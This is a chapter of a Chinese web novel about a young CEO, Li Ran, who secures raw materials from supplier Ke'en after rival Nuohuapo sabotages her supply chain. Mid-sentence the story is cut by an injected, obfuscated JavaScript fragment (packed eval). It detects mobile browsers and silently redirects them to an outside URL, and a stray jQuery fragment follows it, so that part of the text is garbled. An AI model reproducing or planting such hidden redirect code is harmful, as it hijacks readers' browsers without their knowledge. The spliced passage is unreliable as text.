然而,皙源能等一个月吗?
换位思考一下,如果她是皙源的敌人,一定会趁着这个机会大力出手。
趁其病要其命。
不然给了对手时间,她缓过来怎么办?
黎苒还是不想放弃。
目露哀求,
“王经理,真的没有办法了吗?这批原料对我们真的非常重要,我们剩下的原料撑不了多久了!价钱这方面,我可以加价的!”
王经理不知道为什么面前的小姑娘这么着急,原料紧缺就紧缺,停产几天就行。
但在公司里干的久了,他知道每个公司的具体情况不同,不能一概而论。
但真的没有办法。
作为这么大的一个供应商,除了提供给客户的原料外,一般情况下都会多备一些原料以供紧急情况。
但是,这是为紧急情况准备的,按照规定,是不能卖出去的。
王经理挺同情黎苒,但是这也不是他违背公司规定的理由。
黎苒也知道,便问起了这部分原料。
王经理摇头,“不可以的黎总,虽然我很想帮您,也很想和您达成合作,但公司规定就是公司规定。”
王经理的态度十分坚决,黎苒看出没有一点希望,心中十分失落。
她向经理要了名片,道谢后带着秘书走出门外。
黎苒的表情失落,脸色很难看。
对比刚才进来精神奕奕充满希望的样子,现在这副表情很让人怜惜。
一直跟着黎苒,没有怎么说话的裴妍心中就很不是滋味。
虽然一开始早有预料,但真的看见小黎总无功而返失落的表情,她还是很不好受。
黎苒是个很好的老板,脾气好,加上两人年纪相近。
裴妍憋了一路的话终于吐了出来。
她很生气,诺华珀的行为简直太卑鄙了。
而珂恩是诺华珀的供应商,尽管诺华珀的行为和珂恩没有多少关系。
珂恩的总经理对他们的态度也挺好。
但裴妍还是迁怒到了珂恩身上。
“诺华珀真是不要脸,一群强盗,珂恩也是,都是一丘之貉!”裴妍的声音气愤至极
“明的收购不了皙源,就搞这些下作手段,真是卑鄙无耻!太恶心了!”
说到后面,可能是太过生气,感同身受,声音微微颤抖,带着一丝哽咽。
黎苒一惊,没有想到看起来挺稳重的裴妍突然说了这些话。
她们现在还在珂恩呢!再怎么样,珂恩还是诺华珀的供应商。
在这里说这些话太不合适了!
然而,刚拉住裴妍,让她小声点。
身后的门里就走出了一个人,正是王经理。
也不知道刚才裴妍说的话,他有没有听到。
裴妍也听到动静,看到王经理出来,面色有些发白。
她刚才气愤之下,不仅骂了诺华珀,还把珂恩带进去了。
黎苒上前一步,挡在了裴妍面前。
主动开口道歉,就算这话不是她说的,是她的助理说的。
但在外人眼中,是没有多少区别的。
“真是不好意思王经理,我们刚才说的话是气话,希望您不要介意!”
然而,王经理表情并没有生气或者不耐烦的样子。
也没有理会黎苒的道歉,反而有些奇怪地问道,
“你们公司原料紧缺是诺华珀搞的鬼?”
黎苒的心猛地重重一跳,从对方语气中察觉到了一丝不同寻常。
正常情况,听到别人在背后说自己公司,或者合作伙伴的坏话,第一反应肯定是不开心。
王经理好像一点气愤都没有。
黎苒试探着说:
“这我不太清楚,王经理,我们公司拒绝了诺华珀的收购后,也不知道为什么,几天后突然有几种非常重要的原料供应商,毁约断供了,一时半会儿,我们也找不到合适的供应商。”
她没有把话说死,说这事一定就是诺华珀干的,毕竟这里是珂恩。
但是,话里的意思,只要听得懂的人,一定能听懂。
王经理听完后,露出一抹和善的微笑,有些诡异。
“黎总,您先进会议室,我们再详谈。”
黎苒心中一喜,有戏了!
两人进入会议室等待,王经理说,让他们等他一会儿。
人走了,一旁心虚的裴妍开口道歉。
“小黎总,对不起,我也是太气愤了,一时没有忍住,说话才不过脑子的……”
裴妍的表情忐忑,显然,她还没有意识到事情有了转机。
只以为王经理要找人算账了。
但黎苒也没有就此肯定她的行为。
这次很可能是歪打正着。
背后议论别人,还是在别人家公司的地盘,被别人听见,可是要结仇的,就算不结仇,也会给人留下很不好的印象。
有时候可能会闯大祸,埋下祸根。
职场禁忌,不要在背后议论任何人!
“下不为例,以后记住就行。”
黎苒也没有一味批评:“不过,这次你没有闯祸,很可能立大功了!”
裴妍一开始很羞愧,但是听到黎苒后半句话,疑惑起来。
她想起刚才王经理那奇怪的表情,也意识到了什么。
心脏砰砰跳起来。
两人没有等多久,没一会儿时间,门就被推开了。
打头走进来的是个长相年轻英俊的外国男人,王经理毕恭毕敬地跟在后面。
黎苒和裴妍站了起来。
王经理介绍道:
“黎总,这是我们珂恩大中华区的总裁。总裁,这是皙源的CEO黎总。”
年轻英俊的男人主动伸手打招呼,居然是一口流利的中文。
一点口音都没有。
“你好,我是珂恩在华国分部的总裁——劳里,很高兴见到你。”
黎苒与他握手打招呼。
“黎总,我想确认一下,贵公司所说原材料短缺与诺华珀有关,是否是真话?”
“黎总给我个确切的答案,不要说那些模棱两可的话。”
劳里面容虽然年轻,但表情有些严肃,让黎苒心中有些打鼓。
要不要说?
在外界看来,珂恩和诺华珀的关系非比寻常,她在珂恩面前说诺华珀的坏话,怎么想都不合适。
但想起来谢清晏分析给她的那些话,还有她察觉到的怪异之处,黎苒定定神。
开口:“是的,我虽然不能百分百确定,但这件事和诺华珀脱不了干系。”
“和皙源毁约的三家公司,都和诺华珀签订了更好的合约,达成了合作。”
劳里的表情柔和了一些,继续问:
“那敢问,你对诺华珀,以及诺华珀总裁卡特的观感怎么样呢?”
既然都承认了,黎苒也不在意说的话好不好听了。
“诺华珀上下行事风格很强势,手段下作,卡特看着人模人样,实则道貌岸然,心黑着呢!”
空气静谧几秒。
黎苒、裴妍心中忐忑。
劳里突然扬唇一笑,黎苒才发现他笑起来,有股阳光大男孩的感觉,一下子将刚才的压迫冲淡了些。
劳里笑完,眼带嘲讽,冷嗤道:
“诺华珀果然还是一贯的行事作风啊!卑鄙!无耻!”
黎苒心中大定,感觉有戏!
看来珂恩和诺华珀的关系,不像外界所想那么好!
黎苒连忙问:“劳里先生,那原料……我们工厂那边撑不了几天了,一旦停产,不知道还有什么招数等着我们呢?”
劳里笑了笑,“这个问题好谈,王经理,你来和黎总说。”
王经理上前,拿着平板,和黎苒确认皙源所需要的原料数量。
以及送货地址,接收人等等详细信息。
“黎总,您这边所需要的三种原料,大概明天就可以通过珂恩的运输链送达,合作愉快!”
在合同上签下字后,黎苒的心彻底落回肚子里。
直到此时此刻,她才有了脚踏实地的感觉,人也没有那么慌了。
黎苒很感激。
“劳里先生,真是太感谢你们了!”
黎苒满脸感激。
劳里摆了摆手,“正常的商业合作而已,不是什么大功劳,再说了,你们又不是没有付钱,能让诺华珀费这些心思,想必你们公司的前景很好。我也算给公司提前找了一个大客户!”
不愧是能当这么大一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514580|202806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分公司总裁的人,劳里说话很好听。
让人听着心里很舒服。
人家那么说,黎苒却并没有当真。
和谁做生意不是做,但是,他们在皙源最危机的时候出手帮忙,这就不是普通寻常的做生意。
但感谢别人,光嘴上说没有用,还得看具体的行动。
达成合作后,黎苒也放松了一些,她观察了劳里面色后,试探问出了自己的疑问。
“劳里先生,我有一个问题比较好奇,不知道您方便解答一下吗?”
劳里扬了扬眉,回答。
“当然,估计以后我们合作的机会还多着呢,黎总你说。”
“珂恩明明是诺华珀的供应商,在诺华珀要狙击针对皙源的情况下,为什么还要帮我们呢?”
劳里靠在椅背上,漫不经心地松了松领带。
明明那双眼睛很年轻清澈,但黎苒莫名就觉得他看透了她的想法。
她想要搞清楚珂恩和诺华珀的真正关系,这才能掌握主动权。
从原料供应这方面下手,针对皙源,是个很简单的手段。
但却非常有效。
这次她躲了过去,却不能保证下次也能及时解决,最好能从根源上解决掉这个隐患。
那就是找到一家不会被诺华珀影响的供应商,而且供应原料十分齐全的公司。
显然,珂恩有这个可能。
劳里没有回答黎苒的问题,看向黎苒,满目好奇,反问:
“那黎总为什么明明知道珂恩是诺华珀的最大供应商,怎么还敢来珂恩?”
劳里微微向前倾,一双漂亮深邃的双眼,牢牢盯住黎苒。
黎苒觉得劳里这个人,虽然外表看起来很年轻,但实际上有些强势。
从他一进来开始,他就掌握了谈话的节奏。
不过黎苒也不太在意,现在是她有求于人,处于弱势,没有必要和人争长短。
黎苒在脑海中组织了一下语言,想起昨晚谢清晏分析给她说的话。
片刻后开口:
“珂恩是全球最大的日化原料供应商之一,不仅有强大的供应链,还有很强的研发能力,但是,珂恩供给给诺华珀的原料价格低多了。”
“比诺华珀竞争对手依莱的供应商瑞斯福,供给给依莱的价格还要低,有些不同寻常……”
黎苒说到这里,发现劳里的嘴角微微上扬,就知道她说的应该大差不差。
“虽然外界都在传诺华珀和珂恩的关系很好,但经过诺华珀收购皙源不成下黑手这一件事,我就明白,有关诺华珀的外界消息不能轻易相信。”
听到黎苒这么说,劳里好像有些疑惑,问道,“听你的意思,一开始你挺相信诺华珀的?”
黎苒有些羞愧,但她是一个能正视自己错误的人。
“是的,诺华珀也不是第一次来谈收购的事,只不过之前是我父亲在和他们谈,拒绝他们后并没有现在的情况发生,加上我听说诺华珀的名声很不错,就……”
“就觉得诺华珀没有威胁了?”劳里反问。
好像在质疑黎苒的智商。
她赶紧解释,“也不全是,我也没有完全相信,只是没有想到他们出手这么快,这么狠……”
黎苒想起一开始她还有些不相信谢清晏的话,就更加羞愧了。
她还是太天真,把事情想的太简单了。
劳里也看出来黎苒的想法,反倒没有再露出那种看傻子的表情。
能答应合作,他也不是相信别人一张嘴说的话。
在之前黎苒等待的这段时间,已经让秘书打听了有关皙源的事,自然也知道黎苒父母突然去世。
她是个刚掌管公司,没有多少经验的新人。
虽然刚开始有些稚嫩,但没有关系,多吃上几次亏就好了。
黎苒拉回跑偏的话题,“虽然外界都在传你们两家关系好,但是我们华国有句话,叫做亲兄弟明算账,如果是真的关系好,就不可能是一方一直在吃亏。
珂恩以极其低廉的价钱供给给诺华珀原料,基本是不赚钱的,对于这么大的公司,不赚钱就相当于在亏钱……我就过来碰碰运气。”
劳里盯着黎苒看了几秒,不说话。
黎苒虽然心里慌慌,但面上一派镇定。